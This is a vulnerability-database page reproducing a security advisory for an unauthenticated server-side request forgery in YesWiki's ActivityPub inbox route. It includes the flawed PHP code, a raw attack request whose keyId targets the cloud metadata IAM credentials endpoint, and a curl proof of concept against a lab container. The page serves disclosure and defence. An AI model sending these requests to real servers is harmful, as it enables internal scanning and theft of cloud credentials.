PHP
CVE-2026-52769
HIGH
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.
The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').
Details
Affected component
- File:
tools/bazar/services/HttpSignatureService.php - Method:
HttpSignatureService::verifySignature(Request $request) - Sink: line 96
- Route:
tools/bazar/controllers/ApiController.phpline 125 -@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})
// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD,
// lines 83-100)
public function verifySignature(Request $request) {
if (!$request->headers->has('Signature')) {
throw new Exception('No signature');
}
$sigConf = parse_ini_string(
strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field
);
if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {
throw new Exception('Malformed signature');
}
$response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK - no validation,
'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme
]); // pinning, no IP filtering
...
}The inbox controller calls verifySignature() before running any cryptography:
// tools/bazar/controllers/ApiController.php (lines 125-145)
/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
public function postFormActorInbox($formId, Request $request)
{
$activityPubService = $this->getService(ActivityPubService::class);
$httpSignatureService = $this->getService(HttpSignatureService::class);
$form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];
if ($activityPubService->isEnabled($form)) {
$activity = json_decode($request->getContent(), true);
$httpSignatureService->verifySignature($request); // <-- SSRF fires here
$activityPubService->processActivity($activity, $form);
return new ApiResponse(null, Response::HTTP_OK, …);
} else {
throw new NotFoundHttpException();
}
}The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.
End-to-end attack chain
A single HTTP request, no session, no CSRF token, no captcha:
POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"
{}- The Symfony controller matches the route on
formId=1. ActivityPubService::isEnabled($form)returns true (set when the operator turned the feature on).verifySignature()parses the header into a key-value array, findskeyId, and callshttpClient->request('GET', '<attacker URL>').- YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain
publicKey.publicKeyPemthe controller returns an HTTP 500 whose JSON body leaks the full exception message and stack trace, including the URL.
PoC
Pre Reqs
- Yeswiki v4.6.5 lab image (Setup via podman)
- ActivityPub enabled on the target form
For the rest of this document:
BASE="http://localhost:8085"
CTR="yeswiki-poc"Before we start, make sure ActivityPub is enabled on the target form
podman exec "$CTR" mysql -uroot yeswiki -e \
"SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap
FROM yeswiki_nature WHERE bn_id_nature = 1;"Send the unauthenticated SSRF trigger:
TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf"
curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \
-d '{}' \
-w '\n HTTP %{http_code}, elapsed=%{time_total}s\n'You will get an error in response like this:
{"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"}
HTTP 500, elapsed=0.15sThe 500 and the "Missing public key" exception are the signal the outbound fetch went all the way to the JSON parse - the listener returned {}, which contained no publicKey field, so the handler bailed *after* talking to the listener.
Tested with webhook: <img width="1473" height="678" alt="image" src="https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc" />
AnalysisAI
Server-side request forgery in YesWiki's Bazar ActivityPub module (through v4.6.5) lets an unauthenticated remote attacker coerce the server into fetching arbitrary attacker-chosen URLs. The public inbox route parses the HTTP Signature header and issues a server-side GET to the attacker-supplied keyId URL before any signature or URL validation, enabling internal port scanning, service enumeration, and cloud IAM metadata theft (169.254.169.254). …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Recommended ActionAI
Within 24 hours: Identify all YesWiki instances running Bazar ActivityPub module (v4.6.5 or earlier) and disable the module. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-vw42-752g-5mrp